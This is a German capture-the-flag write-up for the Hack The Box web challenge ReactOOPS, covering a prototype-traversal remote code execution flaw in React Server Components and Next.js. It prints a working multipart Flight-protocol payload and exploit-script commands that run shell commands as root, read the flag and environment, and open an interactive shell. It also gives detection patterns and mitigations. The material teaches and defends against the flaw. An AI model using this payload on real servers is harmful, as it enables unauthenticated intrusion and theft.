
Hack The Box Writeup für die ausgelaufene Challenge ReactOOPS – Vollständige Lösung und pädagogischer Leitfaden zu CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). Enthält detaillierte Schwachstellenanalyse, Ausnutzungstechniken und Team-Lernmaterialien.
Autor: TheStingR – Team ISP1337Hackers
Challenge: ReactOOPS (Web)
Plattform: Hack The Box
Schwierigkeit: Sehr leicht – ZURÜCKGEZOGEN
Datum gelöst: 13. Dezember 2025
ReactOOPS ist eine Web-Challenge, die CVE-2025-55182 / CVE-2025-66478 ausnutzt – eine kritische, nicht authentifizierte Remote-Code-Ausführung (RCE) in React Server Components und dem Next.js App Router.
Wesentliche Erkenntnisse:
hasOwnProperty-Prüfung in der Flight-Protokoll-DeserialisierungDie Challenge präsentiert eine ausgefeilte Next.js-Anwendung, die das NexusAI-Assistenteninterface bereitstellt. Die Anwendung scheint Benutzereingaben über React Server Components zu verarbeiten, doch subtile Unstimmigkeiten in der reaktiven Schicht deuten auf zugrunde liegende Schwachstellen hin.
Die Anwendung verwendet:
Das Flight-Protokoll ist das proprietäre Serialisierungsformat von React zur Übertragung von Daten zwischen Server und Client in Server-Component-Architekturen. Es verwendet Referenzen wie:
$1 – Referenz auf Objekt an Position 1$1:path:to:value – Property-Pfad-TraversierungVerwundbarer Code in Reacts ReactFlightReplyServer.js:
// Zeile ~450: getOutlinedModel Funktion
function getOutlinedModel(response, id) {
let chunk = chunks.get(id);
const value = chunk.value;
// Referenzen verarbeiten wie "$1:path:to:value"
if (reference.startsWith('$')) {
const refId = parseInt(reference.slice(1).split(':')[0]);
const path = reference.slice(1).split(':').slice(1);
let obj = chunks.get(refId).value;
// VERWUNDBARE SCHLEIFE – KEINE hasOwnProperty-ÜBERPRÜFUNG!
for (let i = 0; i < path.length; i++) {
obj = obj[path[i]]; // ← Erlaubt Prototyp-Ketten-Zugriff
}
return obj;
}
}
Die sichere Version (wie es sein sollte):
for (let i = 0; i < path.length; i++) {
if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
obj = obj[path[i]];
} else {
throw new Error('Ungültiger Property-Zugriff');
}
}
Ohne die hasOwnProperty-Prüfung kann ein Angreifer folgendes durchlaufen:
myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype
Schritt 1: Sende Referenz "$1:__proto__:then"
│
├─ Zugriff auf myChunk[__proto__]
└─ Dann Zugriff auf [then] auf dem Prototyp
Schritt 2: Erstelle gefälschtes Promise-ähnliches Objekt
│
└─ { then: schädlicheFunction }
Schritt 3: React führt await auf dieses Objekt aus
│
├─ Ruft die .then()-Methode auf
└─ Führt die Funktion des Angreifers aus
Schritt 4: Beliebige Code-Ausführung
│
└─ Code wird im Server-Kontext als Root ausgeführt
Die Schwachstelle liegt vor der Next-Action-Validierung:
Request-Verarbeitungsablauf:
├─ Parse Multipart-Formulardaten
├─ Deserialisiere Flight-Protokoll ← RCE PASSIERT HIER
│ └─ Referenzen und Objekte verarbeiten
│ └─ Keine hasOwnProperty-Prüfung!
├─ Extrahiere Next-Action-Header
├─ Validiere Action-ID ← Dies kommt DANACH
└─ Führe Action-Handler aus
Indem der Angreifer während der Deserialisierung RCE auslöst, umgeht er alle Sicherheitsprüfungen auf Action-Ebene.
# Prüfen, ob der Dienst antwortet
curl -v http://<IP>:PORT/
Erwartet: Next.js-Anwendung, die HTML mit aktiviertem RSC ausliefert.
Achte auf Indikatoren:
next--Präfixen<script type="text/x-component">.next-VerzeichnisartefaktenDer zuverlässigste Indikator ist der Versuch eines Prototype-Pollution-Angriffs und die Beobachtung der Antwort:
# Zerstörungsfreies Erkennungspayload
# Sendet: ["$1:a:a"] referenziert {}
# Verwundbar: {}.a.a wirft Fehler → HTTP 500 + E{"digest"
# Gepatcht: hasOwnProperty verhindert Zugriff → kein Absturz
# Navigiere zum Challenge-Verzeichnis
cd /Challenges/ReactOOPS
# Klone das react2shell-Exploit-Framework
git clone https://github.com/freeqaz/react2shell.git
# Stelle sicher, dass alle Skripte ausführbar sind
chmod +x react2shell/*.sh
Ziel: Bestätigen, dass der Server verwundbar ist, ohne Schaden zu verursachen.
cd react2shell
# Führe den Erkennungstest aus
./detect.sh http://<IP>:PORT
Was es tut:
Next-Action: x["$1:a:a"] referenziert leeres Objekt {}{}.a.a zuzugreifenErwartete Ausgabe:
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Ziel: http://<IP>:PORT
[*] HTTP-Status: 500
[!] VERWUNDBAR – Server gab 500 mit E{"digest"-Muster zurück
[*] Antwort-Body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}
[!] Dieser Server läuft eine verwundbare Version von React RSC / Next.js
Interpretation:
E{"digest" in der Antwort: ✅ React-FehlerbehandlungsformatZiel: Beliebige Befehlsausführung verifizieren.
# Führe den 'id'-Befehl auf dem entfernten Server aus
./exploit-redirect.sh -q http://<IP>:PORT "id"
Was es tut:
Next-Action: xErwartete Ausgabe:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Wichtige Erkenntnis: Die Ausgabe zeigt uid=0(root) – der Webserver läuft als Root! Das ist eine Sicherheitsfehlkonfiguration, die die Auswirkungen verstärkt.
Ziel: Dateisystem kartieren und sensible Dateien lokalisieren.
# Aktuelles Arbeitsverzeichnis prüfen
./exploit-redirect.sh -q http://<IP>:PORT "pwd"
# Ausgabe: /app/.next/standalone
# Anwendungs-Root-Verzeichnis auflisten
./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"
Entdeckte Verzeichnisstruktur:
/app/
├── .next/ # Next.js Build-Ausgabe
├── node_modules/ # Abhängigkeiten
├── app/ # Anwendungsquellcode
├── public/ # Statische Assets
├── flag.txt # ✅ ZIEL-DATEI (Modus 600)
├── package.json
└── tsconfig.json
Kritischer Fund: Flag-Datei existiert unter /app/flag.txt mit restriktiven Berechtigungen (600)
Ziel: Die Flag-Datei lesen.
# Flag lesen
./exploit-redirect.sh -q http://<IP>:PORT> "cat /app/flag.txt"
Ausgabe:
HTB{jus7_REDACTED_2025-55182}
✅ Challenge abgeschlossen!
Das Exploit erstellt ein Flight-Protokoll-Payload. So sieht ein Befehlspayload aus:
POST / HTTP/1.1
Host: <IP>:PORT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Next-Action: x
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="1"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"value": "{\"cmd\":\"id\"}",
"_response": {
"id": "1",
"chunks": []
}
}
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="0"
"$@1"
------WebKitFormBoundaryXXXX--
1. Multipart-Formulardaten parsen
→ name="1" → JSON-Objekt mit "then"-Eigenschaft
→ name="0" → Zeichenkette "$@1"
2. Referenzen verarbeiten
→ "$@1" bedeutet "Referenz auf Chunk 1"
→ chunk[1].value nachschlagen
3. Referenzpfad auflösen
→ Referenz: "$1:__proto__:then"
→ An Doppelpunkten aufteilen: ["", "__proto__", "then"]
→ Starte mit chunk[1]
→ Zugriff [__proto__] → zu Prototyp wechseln
→ Zugriff [then] → then-Methode aufrufen
4. Gefälschtes Promise erstellen
→ Objekt mit .then()-Methode erzeugen
→ Die Methode enthält den Befehlspayload
5. Promise .then() ausführen
→ React behandelt es als Promise-ähnlich
→ Ruft den .then()-Handler auf
→ CODE WIRD ALS ROOT AUSGEFÜHRT
Wir haben exploit-redirect.sh verwendet, weil:
Sofortmaßnahmen (vor dem Patchen):
RSC deaktivieren, falls nicht benötigt
// next.config.js
module.exports = {
experimental: {
rsc: false // React Server Components deaktivieren
}
}
Next-Action-Nutzung einschränken
// middleware.ts
export function middleware(request) {
// Alle POST-Requests mit Next-Action ablehnen
if (request.method === 'POST' &&
request.headers.has('next-action')) {
return new Response('Verboten', { status: 403 });
}
}
Netzwerksegmentierung
# Nur vertrauenswürdige Quellen zulassen
iptables -A INPUT -p tcp --dport 50183 -s TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 50183 -j DROP
Sofort patchen:
# Next.js aktualisieren
npm install next@latest
# Oder spezifische gepatchte Version
npm install [email protected]
# Versionen überprüfen
npm ls next react-server-dom-webpack
Sicherheitshärtung:
Webserver nicht als Root ausführen
// NICHT so:
RUN npm start // Als Root
// SO:
RUN useradd -u 1000 nextjs
USER nextjs
CMD ["npm", "start"]
Eingabevalidierung
// Alle Flight-Protokoll-Eingaben validieren
app.post('/api/*', (req, res) => {
// Nach verdächtigen Mustern suchen
const body = JSON.stringify(req.body);
if (body.includes('__proto__') ||
body.includes('constructor') ||
body.includes('prototype')) {
return res.status(400).send('Ungültige Eingabe');
}
});
Ratenbegrenzung
// POST-Requests pro IP begrenzen
app.post('/api/*', rateLimit({
windowMs: 60 * 1000,
max: 10
}));
WAF-Regeln:
// Prototype-Pollution-Versuche erkennen
Wenn Request.Method == "POST" UND
Request.Body enthält "__proto__" ODER
Request.Body enthält ":then" ODER
Request.Body enthält ":constructor"
Dann Alarm + Blockierung
Log-Überwachung:
# Nach verdächtigen Mustern suchen
grep -E '__proto__|constructor|:then' /var/log/nginx/access.log
grep 'HTTP 500.*digest' /var/log/nginx/error.log
Verhaltensbasierte Erkennung:
// Auf ungewöhnliche Befehlsausführungen achten
const childProcess = require('child_process');
const original_spawn = childProcess.spawn;
childProcess.spawn = function(...args) {
console.log('[SICHERHEIT] Befehlsausführung versucht:', args[0]);
// Richtlinienumsetzung implementieren
return original_spawn.apply(this, args);
};
Eine einzige fehlende Prüfung = kritische Schwachstelle
hasOwnProperty-Sicherung wurde importiert, aber nicht verwendetPrototyp-Kette ist gefährlich
obj[key]hasOwnProperty oder Object.create(null) für nicht vertrauenswürdige Eingaben verwendenDeserialisierung vor Validierung ist riskant
Standard-Prozessprivilegien sind wichtig
Zerstörungsfreie Erkennung ist wertvoll
detect.sh beweist die Schwachstelle, ohne Schaden zu verursachenSystematische Aufklärung
Die Technologie verstehen
# Einzeiler-Exploit
cd /ReactOOPS/react2shell && \
./exploit-redirect.sh -q http://<IP>:PORT>"cat /app/flag.txt"
# Vollständige interaktive Shell starten
./shell.sh http://<IP>:PORT
# Häufige Befehle:
id # Benutzerinfo anzeigen
pwd # Aktuelles Verzeichnis
ls -la # Dateien auflisten
cat /app/flag.txt # Flag lesen
cd /var/log # Verzeichnis wechseln
download flag.txt # Datei herunterladen
# Systeminformationen
./exploit-redirect.sh -q http://<IP>:PORT "uname -a"
# Umgebungsvariablen
./exploit-redirect.sh -q http://<IP>:PORT "env"
# Laufende Prozesse
./exploit-redirect.sh -q http://<IP>:PORT "ps aux"
# Netzwerkverbindungen
./exploit-redirect.sh -q http://<IP>:PORT "netstat -tuln"
# Anwendungsquellcode
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/package.json"
| Skript | Mechanismus | HTTP-Code | Erkennung |
|---|
| exploit-redirect.sh | Prototyp-Traversierung + Promise-Kette | 303 | x-action-redirect |
| exploit-throw.sh | Fehler in try-catch | 500 | Fehler im Body |
| exploit-blind.sh | Seitenkanal (Datei schreiben, DNS) | 200 | Out-of-Band |
| exploit-reflect.sh | Direkte Reflexion in der Antwort | 200 | Befehlsausgabe im Body |
| shell.sh | Interaktiver Wrapper | Unterschiedlich | REPL-Schnittstelle |
| Zeit | Aktion | Ergebnis |
|---|
| T+0s | Erster Verbindungstest | Dienst antwortet |
| T+10s | detect.sh ausführen | VERWUNDBAR bestätigt |
| T+30s | id-Befehl ausführen | Root-Rechte bestätigt |
| T+1m | /app-Verzeichnis auflisten | Flag-Position gefunden |
| T+1m 30s | Flag-Datei lesen | Flag extrahiert |
| T+2m | Verifikation | Challenge abgeschlossen |